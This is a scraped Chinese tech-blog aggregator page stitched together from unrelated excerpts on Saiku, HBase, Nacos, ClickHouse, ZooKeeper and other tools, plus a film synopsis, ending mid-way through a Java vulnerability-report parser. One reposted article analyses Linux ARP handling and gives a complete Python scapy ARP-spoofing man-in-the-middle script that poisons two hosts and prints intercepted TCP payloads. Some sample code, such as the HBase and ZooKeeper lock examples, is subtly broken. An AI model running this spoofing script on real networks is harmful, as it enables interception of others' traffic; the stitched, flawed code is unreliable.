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Saiku
...数据分析平台正向自助服务模式转型,使得业务用户能够更加独立地进行深度数据探索,而Saiku恰好顺应了这一潮流。 此外,开源社区对于Saiku的支持也在不断加强,开发者们正在积极贡献代码,以优化性能、扩展功能并集成更多数据源支持。最近一次版本更新中,Saiku增强了对云原生环境的支持,简化了部署流程,并提升了处理大规模数据集时的响应速度,这无疑为大数据时代下的企业级应用提供了更有力的支撑。 综上所述,在数字化转型浪潮下,掌握像Saiku这样的现代化数据分析工具,不仅有助于企业提升决策效率,更能帮助企业从海量数据中提炼出具有战略价值的信息,从而实现业务增长和竞争力提升。因此,深入研究和熟练运用Saiku,已成为广大数据从业者提升自身核心竞争力的关键技能之一。
2023-10-04 11:41:45
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初心未变
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...,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 昨天看了这部片子,感觉一般,但还是一部可看的片子,不闷。 女杀手失忆之前挺酷的,之后感觉太柔弱了。 三个男主角都不错,不过方中信的形象应该更强悍一些才好,而千叶真一象极了邻居家的老大伯。 《孙子兵法》第六计 虚实计 …… 攻而必取者,攻其所不守也。 守而必固者,守其所必攻也。 故善攻者,敌不知其所守; 善守者,敌不知其所攻。 …… 进而不可御者,冲其虚也; 退而不可追者,速而不可及也。 故我欲战,敌虽高垒深沟,不得不与我战者,攻其所必救也; 我不欲战,虽画地而守之,敌不得与我战者,乖其所之也。 故形人而我无形,则我专而敌分。 …… 附录: 中文名称:第六计 英文名称:Explosive City 资源类型:DVDScr 发行时间:2004年11月04日 电影导演:梁德森 电影演员: 任达华 方中信 千叶真一 白田久子 彭敬慈 萧正楠 地区:香港 语言:普通话 简介: 转自TLF论坛 片名:Explosive City 译名:第六计(又名爆裂都市) 导演:梁德森 主演:任达华 方中信 千叶真一 白田久子 彭敬慈 萧正楠 时间:90分钟 类型:动作 上映日期:2004-11-4 官方网站:http://www.bakuretsu.jp/ 语言:国语 字幕:外挂中/英 剧情: (转自世纪环球在线) 某国际机场,来参加国际会议的邻埠高级官员容大刚正在与众多记者畅谈参会感 想,突然,一个神情冷漠的美貌女子从人群中闪出,只见她拔出手枪,对准容大刚连 开三枪,场内一片大乱。 机场刺杀案引起了警方极大的震惊,派来高级警务人员姚天明(方中信饰)协助 特警队张志诚(任达华饰)警司侦破此案。经过排查,行刺者是某国际恐怖组织的成员, 名叫北条真理(白田久子饰)。材料显示:北条真理生于日本的一个幸福的家庭,三 岁时被某国际恐怖组织首领“奥多桑”(千叶真一饰)看中,把她掳走,通过洗脑、 训练,使她成为恐怖组织的高级杀手。这次行动,她以记者身份潜入机场,射伤了目 标,自己也因此受伤被俘。 就在警方全力破案的同时,某国际恐怖组织的首领“奥多桑”带领部下悄悄潜入 该城,显然,他对上一次行的刺杀行动很不满意,准备亲自上阵了。在他的指挥下, 恐怖分子残忍的杀死了姚天明的太太,并绑架了他的儿子,借此要挟姚天明杀死北条 真理,姚天明在万般无奈中,执行了“奥多桑”的命令,“击毙”、劫持了北条真理, 一步步走进“奥多桑”精心设下的圈套,并因此被警方通缉。 姚天明一边躲避着警方的追捕,一边苦苦寻找“奥多桑”的足迹,寻机解救被绑 架的儿子;幸免于难的北条真理与姚天明从对立变成唇齿相依;在追击中渐渐恢复了 记忆,认出了“奥多桑”安插在警务队伍中的亲信——张志诚警司;令他们百思不得 其解的是,张警司本身就是负责保护容大刚的警卫人员,由他执行刺杀活动,不是更 稳妥吗?为什麼还要派遣北条真理进行明目张胆的刺杀活动?随着事态的发展,无意 中,姚天明在“奥多桑”钟爱的《孙子兵法》一书中发现了更大的秘密——可怕的第 六计…… 转载于:https://www.cnblogs.com/Silence/archive/2004/11/08/61332.html 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_30240349/article/details/98266532。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-05-10 09:20:27
619
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HBase
...per管理集群状态和服务协调。他们家这玩意儿,独门绝技就是RowKey的设计,再加上那牛哄哄的原子性操作,妥妥地帮咱们在分布式锁这块儿打开了新世界的大门。 3. 利用HBase实现分布式锁的基本思路 在HBase中,我们可以创建一个特定的表,用于表示锁的状态。每一行代表一把锁,RowKey可以是锁的名称或者需要锁定的资源标识。每个行只有一个列族(例如:"Lock"),并且这个列族下的唯一一个列(例如:"lock")的值并不重要,我们只需要关注它的存在与否来判断锁是否被占用。 4. 示例代码详解 下面是一个使用Java API实现HBase分布式锁的示例: java import org.apache.hadoop.hbase.TableName; import org.apache.hadoop.hbase.client.Connection; import org.apache.hadoop.hbase.client.ConnectionFactory; import org.apache.hadoop.hbase.client.Put; import org.apache.hadoop.hbase.client.Table; public class HBaseDistributedLock { private final Connection connection; private final TableName lockTable = TableName.valueOf("distributed_locks"); public HBaseDistributedLock(Configuration conf) throws IOException { this.connection = ConnectionFactory.createConnection(conf); } // 尝试获取锁 public boolean tryLock(String lockName) throws IOException { Table table = connection.getTable(lockTable); Put put = new Put(Bytes.toBytes(lockName)); put.addColumn("Lock".getBytes(), "lock".getBytes(), System.currentTimeMillis(), null); try { table.put(put); // 如果这行已存在,则会抛出异常,表示锁已被占用 return true; // 无异常则表示成功获取锁 } catch (ConcurrentModificationException e) { return false; // 表示锁已被其他客户端占有 } finally { table.close(); } } // 释放锁 public void unlock(String lockName) throws IOException { Table table = connection.getTable(lockTable); Delete delete = new Delete(Bytes.toBytes(lockName)); table.delete(delete); table.close(); } } 5. 分析与讨论 上述代码展示了如何借助HBase实现分布式锁的核心逻辑。当你试着去拿锁的时候,就相当于你要在一张表里插一条新记录。如果发现这条记录竟然已经存在了(这就意味着这把锁已经被别的家伙抢先一步拿走了),系统就会毫不客气地抛出一个异常,然后告诉你“没戏,锁没拿到”,也就是返回个false。而在解锁时,只需删除对应的行即可。 然而,这种简单实现并未考虑超时、锁续期等问题,实际应用中还需要结合Zookeeper进行优化,如借助Zookeeper的临时有序节点特性实现更完善的分布式锁服务。 6. 结语 HBase的分布式锁实现是一种基于数据库事务特性的方法,它简洁且直接。不过呢,每种技术方案都有它能施展拳脚的地方,也有它的局限性。就好比选择分布式锁的实现方式,咱们得看实际情况,比如应用场景的具体需求、对性能的高标准严要求,还有团队掌握的技术工具箱。这就好比选工具干活,得看活儿是什么、要干得多精细,再看看咱手头有什么趁手的家伙事儿,综合考虑才能选对最合适的那个。明白了这个原理之后,咱们就可以动手实操起来,并且不断摸索、优化它,让这玩意儿更好地为我们设计的分布式系统架构服务,让它发挥更大的作用。
2023-11-04 13:27:56
437
晚秋落叶
Mongo
...oDB Stitch服务(现已整合进Atlas Serverless)为解决这一问题提供了新的思路。通过集成流式传输框架如Change Streams,开发人员可以构建实时响应的数据处理系统,并保持高可用性和扩展性。 同时,随着云原生架构的普及,MongoDB Atlas作为全球分布式的托管型数据库服务,以其内置的自动分片、备份恢复、监控告警等功能,助力企业无缝迁移至云端,实现弹性伸缩与按需付费,进一步优化资源利用率和降低成本。 综上所述,持续跟踪MongoDB的最新动态和技术演进,结合具体业务场景合理运用其异步特性,有助于提升应用程序性能,应对日益增长的数据处理需求。推荐读者关注MongoDB官方博客、文档更新及行业技术论坛,深入探讨更多关于数据库异步操作的实战经验和最佳实践案例。
2024-03-10 10:44:19
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林中小径_
Nacos
...的产品吗?这可是个集服务发现、配置管理和服务元数据管理于一身的“大宝贝”!它功能强大到飞起,尤其在保证数据一致性方面表现得超级给力,所以得到了众多开发者们的热烈追捧和深深喜爱。这篇东西,咱们就来唠唠“Nacos如何确保数据一致性”这个话题,我会手把手带着你,用一些接地气的实例代码和大白话解析,深入浅出地探讨一下Nacos是如何巧妙实现并稳稳守护其数据一致性的。 2. Nacos的数据模型与存储 (1)数据模型:Nacos的核心数据模型主要包括服务、配置和服务实例。服务呢,就好比是定义了一个业务技能,而配置呢,就像是管理这个业务技能的各种使用说明书或者说是动态调整的“小秘籍”。至于服务实例嘛,那就是当这项业务技能真正施展起来,也就是运行时,实实在在干活的那个“载体”或者说“小能手”啦。 (2)数据存储:Nacos使用Raft一致性算法来保证其数据存储层的一致性,所有写操作都会经过Raft协议转化为日志条目,并在集群内达成一致后才真正落地到持久化存储中。这就意味着,无论是在何种网络环境或者机器故障情况下,Nacos都能确保其内部数据状态的一致性。 java // 假设我们向Nacos添加一个服务实例 NamingService naming = NacosFactory.createNamingService("127.0.0.1:8848"); naming.registerInstance("my-service", "192.168.0.1", 8080); 上述代码中,当我们调用registerInstance方法注册一个服务实例时,这个操作会被Nacos集群以一种强一致的方式进行处理和存储。 3. Nacos的数据更新与同步机制 (1)数据变更通知:当Nacos中的数据发生变更时,它会通过长轮询或HTTP长连接等方式实时地将变更推送给订阅了该数据的客户端。例如: java ConfigService configService = NacosFactory.createConfigService("127.0.0.1:8848"); String content = configService.getConfig("my-config", "DEFAULT_GROUP", 5000); 在这个例子中,客户端会持续监听"my-config"的变更,一旦Nacos端的配置内容发生变化,客户端会立即得到通知并获取最新值。 (2)多数据中心同步:Nacos支持多数据中心部署模式,通过跨数据中心的同步策略,可以确保不同数据中心之间的数据一致性。当你在一个数据中心对数据做了手脚之后,这些改动会悄无声息地自动跑到其他数据中心去同步更新,确保所有地方的数据都保持一致,不会出现“各自为政”的情况。 4. 面对故障场景下的数据一致性保障 面对网络分区、节点宕机等异常情况,Nacos基于Raft算法构建的高可用架构能够有效应对。即使有几个家伙罢工了,剩下的大多数兄弟们还能稳稳地保证数据的读写操作照常进行。等那些暂时掉线的节点重新归队后,系统会自动自觉地把数据同步更新一遍,确保所有地方的数据都保持一致,一个字都不会差。 5. 结语 综上所述,Nacos凭借其严谨的设计理念和坚实的底层技术支撑,不仅在日常的服务管理和配置管理中表现卓越,更在复杂多变的分布式环境中展现出强大的数据一致性保证能力。了解并熟练掌握Nacos的数据一致性保障窍门,这绝对能让咱们在搭建和优化分布式系统时,不仅心里更有底气,还能实实在在地提升效率,像是给咱们的系统加上了强大的稳定器。每一次服务成功注册到Nacos,每一条配置及时推送到你们手中,这背后都是Nacos对数据一致性那份死磕到底的坚持和实实在在的亮眼表现。就像个超级小助手,时刻确保每个环节都精准无误,为你们提供稳稳的服务保障,这份功劳,Nacos可是功不可没!让我们一起,在探索和实践Nacos的过程中,感受这份可靠的力量!
2023-12-09 16:03:48
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晚秋落叶
PostgreSQL
...业务中断问题,确保了服务的连续性和稳定性。
2023-06-04 17:45:07
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桃李春风一杯酒_
ClickHouse
...ClickHouse服务账户没有足够的权限访问该文件。 sql CREATE TABLE external_table (event Date, id Int64) ENGINE = File(Parquet, '/path/to/your/file.parquet'); SELECT FROM external_table; -- Access to file denied 3.2 解决方案 首先,我们需要确认ClickHouse服务运行账户对目标文件或目录拥有读取权限。可以通过更改文件或目录的所有权或修改访问权限来实现: bash sudo chown -R clickhouse:clickhouse /path/to/your/file.parquet sudo chmod -R 750 /path/to/your/file.parquet 这里,“clickhouse”是ClickHouse服务默认使用的系统账户名,您需要将其替换为您的实际环境下的账户名。对了,你知道吗?这个“750”啊,就像是个门锁密码一样,代表着一种常见的权限分配方式。具体来说呢,就是文件的所有者,相当于家的主人,拥有全部权限——想读就读,想写就写,还能执行操作;同组的其他用户呢,就好比是家人或者室友,他们能读取文件内容,也能执行相关的操作,但就不能随意修改了;而那些不属于这个组的其他用户呢,就像是门外的访客,对于这个文件来说,那可是一点权限都没有,完全进不去。 4. 文件不存在的问题及其解决策略 4.1 问题描述 当我们在创建外部表时指定的文件路径无效或者文件已被删除时,尝试从该表查询数据会返回“File not found”的错误。 sql CREATE TABLE missing_file_table (data String) ENGINE = File(TSV, '/nonexistent/path/file.tsv'); SELECT FROM missing_file_table; -- File not found 4.2 解决方案 针对此类问题,我们的首要任务是确保指定的文件路径是存在的并且文件内容有效。若文件确实已被移除,那么重新生成或恢复文件是最直接的解决办法。另外,你还可以琢磨一下在ClickHouse的配置里头开启自动监控和重试功能,这样一来,万一碰到文件临时抽风、没法用的情况,它就能自己动手解决问题了。 另外,对于周期性更新的外部数据源,推荐结合ALTER TABLE ... UPDATE语句或MaterializeMySQL等引擎动态更新外部表的数据源路径。 sql -- 假设新文件已经生成,只需更新表结构即可 ALTER TABLE missing_file_table MODIFY SETTING path = '/new/existing/path/file.tsv'; 5. 结论与思考 在使用ClickHouse外部表的过程中,理解并妥善处理文件系统权限和文件状态问题是至关重要的。只有当数据能够被安全、稳定地访问,才能充分发挥ClickHouse在大数据分析领域的强大效能。这也正好敲响我们的小闹钟,在我们捣鼓数据架构和运维流程的设计时,千万不能忘了把权限控制和数据完整性这两块大骨头放进思考篮子里。这样一来,咱们才能稳稳当当地保障整个数据链路健健康康地运转起来。
2023-09-29 09:56:06
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落叶归根
DorisDB
...的是,技术永远是为人服务的。不管多牛的技术,归根结底都是为了让我们生活得更爽,更方便,过得更滋润。让我们一起努力,探索更多可能性吧!
2025-02-28 15:48:51
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素颜如水
ActiveMQ
...待时间过长,甚至出现服务不可用的情况。因此,了解并掌握如何监控这些性能指标是非常必要的。 2. 消息堆积与延迟 它们是什么? 首先,让我们来了解一下消息堆积和延迟这两个概念。 - 消息堆积:指的是消息从生产者发送到消费者接收之间的时间差变大,导致队列中的消息数量不断增加。这种情况通常发生在消费者的处理能力不足以应对生产者的发送速率时。 - 延迟:是指消息从生产者发送到消费者接收到这条消息之间的总时间。延迟包括了网络传输时间、处理时间和队列等待时间等。 想象一下,如果你正在等公交车,而公交车却迟迟不来(消息堆积),或者虽然来了但你需要等很长时间才能上车(延迟),这肯定会让你感到沮丧。这就跟分布式系统里的事儿一样,要是消费者手慢点,消息堆积起来,整个系统就得遭殃,性能直线下降。 3. 如何监控消费者性能? 现在我们知道了消息堆积和延迟的重要性,那么接下来的问题就是:如何有效地监控它们呢? 3.1 使用JMX监控 ActiveMQ提供了Java Management Extensions (JMX) 接口,允许我们通过编程方式访问和管理其内部状态。这里有一个简单的例子,展示如何使用JMX来获取当前队列中的消息堆积情况: java import javax.management.MBeanServer; import javax.management.ObjectName; import java.lang.management.ManagementFactory; public class ActiveMQMonitor { public static void main(String[] args) throws Exception { MBeanServer mbs = ManagementFactory.getPlatformMBeanServer(); ObjectName name = new ObjectName("org.apache.activemq:type=Broker,brokerName=localhost"); // 获取队列名称 String queueName = "YourQueueName"; ObjectName queueNameObj = new ObjectName("org.apache.activemq:type=Queue,destinationName=" + queueName); // 获取消息堆积数 Integer messageCount = (Integer) mbs.getAttribute(queueNameObj, "EnqueueCount"); System.out.println("Current Enqueue Count for Queue: " + queueName + " is " + messageCount); } } 3.2 日志分析 除了直接通过API访问数据外,我们还可以通过分析ActiveMQ的日志文件来间接监控消费者性能。比如说,我们可以通过翻看日志里的那些报错和警告信息,揪出隐藏的问题,然后赶紧采取行动来优化一下。 4. 优化策略 既然我们已经掌握了如何监控消费者性能,那么接下来就需要考虑如何优化它了。下面是一些常见的优化策略: - 增加消费者数量:当发现消息堆积时,可以考虑增加更多的消费者来分担工作量。 - 优化消费者逻辑:检查消费者处理消息的逻辑,确保没有不必要的计算或等待,尽可能提高处理效率。 - 调整消息持久化策略:根据业务需求选择合适的消息持久化级别,既保证数据安全又不过度消耗资源。 5. 结语 持续改进 监控消费者性能是一个持续的过程。随着系统的不断演进,新的挑战也会随之而来。因此,我们需要保持灵活性,随时准备调整我们的监控策略和技术手段。希望这篇文章能给你带来一些启示,让你在面对类似问题时更加从容不迫! --- 好了,以上就是我对于“监控消费者性能:消息堆积与延迟分析”的全部分享。希望能给你一些启发,让你的项目变得更高效、更稳当!要是你有任何问题或者想深入了解啥的,尽管留言,咱们一起聊一聊。
2024-10-30 15:36:10
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山涧溪流
ZooKeeper
...分布式的、开源的协调服务,主要用于维护配置信息、命名、提供分布式同步以及提供组服务。它用一种像文件系统一样的数据模型来存东西和管事情,这样子搞起来特别顺手,处理分布式环境下那些乱七八糟的任务也不在话下。 3. ZooKeeper的核心概念 在深入探讨具体的应用之前,先来了解一下ZooKeeper的一些核心概念: - 节点(Node):在ZooKeeper中,数据是按照路径结构存储的,这些路径就是所谓的节点。节点可以分为四种类型:持久节点、临时节点、顺序节点和临时顺序节点。 - Watcher机制:Watcher是一种事件监听机制,当某个节点的状态发生改变时,会触发相应的事件。这种机制非常适合用于监控某些关键节点的变化。 - ACL(Access Control List):为了保证数据的安全性,ZooKeeper提供了访问控制列表,用于限制对特定节点的访问权限。 4. 实践案例一 分布式锁 让我们从一个最常见但也非常实用的例子开始——分布式锁。在分布式系统里,经常会发生好几个程序或者线程抢着要用同一个资源的热闹场面。这时,就需要一个可靠的分布式锁来确保资源的正确使用。 4.1 分布式锁的实现 java import org.apache.zookeeper.CreateMode; import org.apache.zookeeper.ZooDefs; import org.apache.zookeeper.ZooKeeper; public class DistributedLock { private ZooKeeper zookeeper; private String lockPath; public DistributedLock(ZooKeeper zookeeper, String lockPath) { this.zookeeper = zookeeper; this.lockPath = lockPath; } public void acquireLock() throws Exception { // 创建临时顺序节点 String lockNode = zookeeper.create(lockPath + "/lock-", new byte[0], ZooDefs.Ids.OPEN_ACL_UNSAFE, CreateMode.EPHEMERAL_SEQUENTIAL); System.out.println("Created lock node: " + lockNode); // 获取所有子节点并排序 List children = zookeeper.getChildren(lockPath, false); Collections.sort(children); // 检查是否为最小节点,如果是则获取锁 if (children.get(0).equals(lockNode.substring(lockPath.length() + 1))) { System.out.println("Acquired lock"); return; } // 否则,等待前一个节点释放锁 String previousNode = children.get(Collections.binarySearch(children, lockNode.substring(lockPath.length() + 1)) - 1); System.out.println("Waiting for lock node: " + previousNode); zookeeper.exists(lockPath + "/" + previousNode, true); } public void releaseLock() throws Exception { // 删除临时节点 zookeeper.delete(lockPath + "/" + lockNode.substring(lockPath.length() + 1), -1); } } 这个简单的实现展示了如何使用ZooKeeper来创建临时顺序节点,并通过监听前一个节点的状态变化来实现分布式锁的功能。在这过程中,我们不仅学会了怎么用ZooKeeper的基本功能,还感受到了它在实际操作中到底有多牛掰。 5. 实践案例二 配置中心 接下来,我们来看看另一个常见的应用场景——配置中心。在大型系统中,配置管理往往是一项繁琐而重要的工作。而ZooKeeper正好为我们提供了一个理想的解决方案。 5.1 配置中心的实现 假设我们有一个配置文件,其中包含了一些关键的配置信息,例如数据库连接字符串、日志级别等。我们可以把配置信息存到ZooKeeper里,然后用监听器让各个节点实时更新,这样就省心多了。 java import org.apache.zookeeper.WatchedEvent; import org.apache.zookeeper.Watcher; import org.apache.zookeeper.ZooKeeper; public class ConfigCenter implements Watcher { private ZooKeeper zookeeper; private String configPath; public ConfigCenter(ZooKeeper zookeeper, String configPath) { this.zookeeper = zookeeper; this.configPath = configPath; } public void start() throws Exception { // 监听配置节点 zookeeper.exists(configPath, this); } @Override public void process(WatchedEvent event) { if (event.getType() == Event.EventType.NodeDataChanged) { try { byte[] data = zookeeper.getData(configPath, this, null); String config = new String(data, "UTF-8"); System.out.println("New configuration: " + config); } catch (Exception e) { e.printStackTrace(); } } } } 这段代码展示了如何创建一个配置中心,通过监听配置节点的变化来实时更新配置信息。这种机制不仅提高了系统的灵活性,也大大简化了配置管理的工作量。 6. 总结与展望 通过上面两个具体的案例,我们看到了ZooKeeper在实际项目中的广泛应用。无论是分布式锁还是配置中心,ZooKeeper都能为我们提供稳定可靠的支持。当然,ZooKeeper还有许多其他强大的功能等待我们去发掘。希望大家在今后的工作中也能多多尝试使用ZooKeeper,相信它一定能给我们的开发带来意想不到的帮助! --- 希望这篇文章能让你对ZooKeeper有更深刻的理解,并激发你进一步探索的兴趣。如果你有任何问题或者想了解更多细节,请随时留言交流!
2025-02-11 15:58:01
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心灵驿站
Hive
...哒!到时候,用咱们的服务就跟喝着冰镇可乐一样爽,那叫一个舒坦啊!哎呀,你知道不?就像咱们平时用的工具箱里又添了把更厉害的瑞士军刀,那就是Apache Drill这样的新技术。这玩意儿一出现,Hive这个大数据分析的家伙就更牛了,能干的事情更多,效率也更高,就像开挂了一样。它现在不仅能快如闪电地处理数据,还能像变魔术一样,根据我们的需求变出各种各样的分析结果。这下子,咱们做数据分析的时候,可就轻松多了! --- 本文旨在探讨Hive如何通过并行计算能力提升数据处理效率,通过具体实例展示了如何优化Hive查询性能,并分享了实践经验。希望这些内容能对您在大数据分析领域的工作提供一定的启发和帮助。
2024-09-13 15:49:02
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秋水共长天一色
Groovy
...年来,随着云计算和微服务架构的普及,Groovy因其简洁的语法和强大的生态系统,在企业级开发领域重新获得了关注。特别是在DevOps文化盛行的背景下,Groovy作为一种既能快速开发又能与现有Java生态无缝集成的语言,成为许多团队构建CI/CD流水线和自动化工具的首选。例如,Jenkins这一广受欢迎的持续集成平台,其核心脚本语言就是Groovy。最近,Jenkins社区发布了2.361版本,其中引入了新的DSL(领域特定语言)特性,进一步增强了Groovy在构建复杂工作流中的能力。 与此同时,Groovy在数据科学领域的应用也引起了广泛关注。Apache Groovy提供了丰富的库支持,如Grape(依赖管理器)和Spock框架,使得数据科学家能够以更少的代码完成复杂的分析任务。近期,有研究表明,结合Groovy与Kotlin进行混合编程,可以显著提高大数据处理效率。这种跨语言协作模式正在成为现代软件开发的新趋势。 此外,Groovy的动态特性使其非常适合用于快速原型设计。近期,一家知名金融科技公司利用Groovy开发了一款面向中小企业的贷款评估系统,仅用两周时间就完成了从需求分析到上线部署的全过程。该项目的成功不仅展示了Groovy在敏捷开发中的潜力,也为其他类似场景提供了宝贵经验。 值得注意的是,尽管Groovy拥有诸多优势,但它并非没有挑战。随着GraalVM等新技术的发展,传统脚本语言面临新的竞争压力。如何保持自身竞争力并吸引更多年轻开发者,将是未来几年Groovy社区需要重点思考的问题。
2025-03-15 15:57:01
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林中小径
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...,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 邻居子系统与ARP协议 邻居子系统的作用就是将IP地址,转换为MAC地址,类似操作系统中的MMU(内存管理单元),将虚拟地址,转换为物理地址。 其中邻居子系统相当于地址解析协议(IPv4的ARP协议,IPv6的ND(Neighbor discover)协议)的一个通用抽象,可以在其上实现ARP等各种地址解析协议 邻居子系统的数据结构 struct neighbour{....................} neighbour结构存储的是IP地址与MAC地址的对应关系,当前状态 struct neighbour_table{....................} 每一个地址解析协议对应一个neighbour_table,我们可以查看ARP的初始函数arp_init,其会创建arp_tbl neighbour_table 包含 neighbour 邻居子系统的状态转换 其状态信息是存放在neighbour结构的nud_state字段的 可以分析neigh_update与neigh_timer_handler函数,来理解他们之间的转换关系。 NUD_NONE: 表示刚刚调用neigh_alloc创建neighbour NUD_IMCOMPLETE 发送一个请求,但是还未收到响应。如果经过一段时间后,还是没有收到响应,则查看发送请求数是否超过上限,如果超过则转到NUD_FAILED,否则继续发送请求。如果接受到响应则转到NUD_REACHABLE NUD_REACHABLE: 表示目标可达。如果经过一段时间,未有到达目标的数据包,则转为NUD_STALE状态 NUD_STALE 在此状态,如果有用户准备发送数据,则切换到NUD_DELAY状态 NUD_DELAY 该状态会启动一个定时器,然后接受可到达确认,如果定时器过期之前,收到可到达确认,则将状态切换到NUD_REACHABLE,否则转换到NUD_PROBE状态。 NUD_PROBE 类似NUD_IMCOMPLETE状态 NUD_FAILED 不可达状态,准备删除该neighbour 各种状态之间的切换,也可以通过scapy构造数据包发送并通过Linux 下的 ip neigh show 命令查看 ARP接收处理函数分析 ARP的接收处理函数为arp_process(位于net/ipv4/arp.c)中 我们分情况讨论arp_process的处理函数并结合scapy发包来分析处理过程 当为ARP请求数据包,且能找到到目的地址的路由 如果不是发送到本机的ARP请求数据包,则看是否需要进行代理ARP处理 如果是发送到本机的ARP请求数据包,则分neighbour的状态进行讨论,但是通过分析发现,不论当前neighbour是处于何种状态(NUD_FAILD、NUD_NONE除外),则都会将状态切换成 NUD_STALE状态,且mac地址不相同时,则会切换到本次发送方的mac地址 当为ARP请求数据包,不能找到到目的地址的路由 不做任何处理 当为ARP响应数据包 如果没有对应的neighbour,则不做任何处理。如果该neighbour存在,则将状态切换为NUD_REACHABLE,MAC地址更换为本次发送方的地址 中间人攻击原理 通过以上分析,可以向受害主机A发送ARP请求数据包,其中请求包中将源IP地址,设置成为受害主机B的IP地址,这样,就会将主机A中的B的 MAC缓存,切换为我们的MAC地址。 同理,向B中发送ARP请求包,其中源IP地址为A的地址 然后,我们进行ARP数据包与IP数据包的中转,从而达到中间人攻击。 使用Python scapy包,实现中间人攻击: 环境 python3 ubuntu 14.04 VMware 虚拟专用网络 代码 !/usr/bin/python3from scapy.all import import threadingimport timeclient_ip = "192.168.222.186"client_mac = "00:0c:29:98:cd:05"server_ip = "192.168.222.185"server_mac = "00:0c:29:26:32:aa"my_ip = "192.168.222.187"my_mac = "00:0c:29:e5:f1:21"def packet_handle(packet):if packet.haslayer("ARP"):if packet.pdst == client_ip or packet.pdst == server_ip:if packet.op == 1: requestif packet.pdst == client_ip:pkt = Ether(dst=client_mac,src=my_mac)/ARP(op=1,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.pdst == server_ip:pkt = Ether(dst=server_mac,src=my_mac)/ARP(op=1,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)pkt = Ether(dst=packet.src)/ARP(op=2,pdst=packet.psrc,psrc=packet.pdst) replysendp(pkt)if packet.op == 2: replyif packet.pdst == client_ip:pkt = Ether(dst=client_mac,src=my_mac)/ARP(op=2,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.pdst == server_ip:pkt = Ether(dst=server_mac,src=my_mac)/ARP(op=2,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.haslayer("IP"):if packet[IP].dst == client_ip or packet[IP].dst == server_ip:if packet[IP].dst == client_ip:packet[Ether].dst=client_macif packet[IP].dst == server_ip:packet[Ether].dst=server_macpacket[Ether].src = my_macsendp(packet)if packet.haslayer("TCP"):print(packet[TCP].payload)class SniffThread(threading.Thread):def __init__(self):threading.Thread.__init__(self)def run(self):sniff(prn = packet_handle,count=0)class PoisoningThread(threading.Thread):__src_ip = ""__dst_ip = ""__mac = ""def __init__(self,dst_ip,src_ip,mac):threading.Thread.__init__(self)self.__src_ip = src_ipself.__dst_ip = dst_ipself.__mac = macdef run(self):pkt = Ether(dst=self.__mac)/ARP(pdst=self.__dst_ip,psrc=self.__src_ip)srp1(pkt)print("poisoning thread exit")if __name__ == "__main__":my_sniff = SniffThread()client = PoisoningThread(client_ip,server_ip,client_mac)server = PoisoningThread(server_ip,client_ip,server_mac)client.start()server.start()my_sniff.start()client.join()server.join()my_sniff.join() client_ip 为发送数据的IP server_ip 为接收数据的IP 参考质料 Linux邻居协议 学习笔记 之五 通用邻居项的状态机机制 https://blog.csdn.net/lickylin/article/details/22228047 转载于:https://www.cnblogs.com/r1ng0/p/9861525.html 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_30278237/article/details/96265452。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-05-03 13:04:20
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...,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 1、下载第三方扩展库 filterbuilder.jar htmllexer.jar htmlparser.jar jsoup-1.9.2.jar junit.jar sax2.jar thumbelina.jar 2、执行以下方法 package com.zgs.look;import java.io.BufferedReader;import java.io.File;import java.io.FileInputStream;import java.io.InputStreamReader;import java.util.HashMap;import java.util.Map;import java.util.regex.Matcher;import java.util.regex.Pattern;import org.htmlparser.Node;import org.htmlparser.NodeFilter;import org.htmlparser.Parser;import org.htmlparser.filters.NodeClassFilter;import org.htmlparser.filters.OrFilter;import org.htmlparser.tags.LinkTag;import org.htmlparser.tags.TableTag;import org.htmlparser.util.NodeList;import org.jsoup.Jsoup;import org.jsoup.nodes.Document;import org.jsoup.nodes.Element;import org.jsoup.select.Elements;public class HtmlLook {private static String ENCODE = "UTF-8";public static void main(String[] args) {String szContent = openFile( "d:/index.html");try {Document doc = Jsoup.parse(szContent);Elements elList=doc.getElementsByAttributeValue("id","vulDataTable");szContent=elList.outerHtml();Parser parser = Parser.createParser(szContent, ENCODE);NodeFilter[] filters = new NodeFilter[2];filters[0] = new NodeClassFilter(TableTag.class); filters[1] = new NodeClassFilter(LinkTag.class);NodeFilter filter =new OrFilter (filters);NodeList list = parser.extractAllNodesThatMatch(filter);String ldName="";String ldJianjie="";for (int i = 0; i < list.size(); i++) { Node node = list.elementAt(i); if(node instanceof LinkTag){String nodeHtml=node.toHtml();if(nodeHtml.contains("onclick")&&nodeHtml.contains("vul-")){if(!"".equals(ldName)&&!"".equals(ldJianjie)){//提交数据System.out.println("---commit---漏洞名称-------"+ldName);System.out.println("---commit---漏洞简介-------"+ldJianjie);ldName="";ldJianjie="";}String level="";if(nodeHtml.contains("vul-vh")){level="高危漏洞";}else if(nodeHtml.contains("vul-vm")){level="中危漏洞";}else if(nodeHtml.contains("vul-vl")){level="低危漏洞";}ldName=getLinkTagContent(nodeHtml)+"-----"+level+"------";// System.out.println("---漏洞名称-----"+getLinkTagContent(nodeHtml)+"-----"+level+"------");} }else{ldJianjie=getTableTagContent(node.toHtml());} } } catch (Exception e) {e.printStackTrace();} }/ 提取文件里面的文本信息 @param szFileName @return/public static String 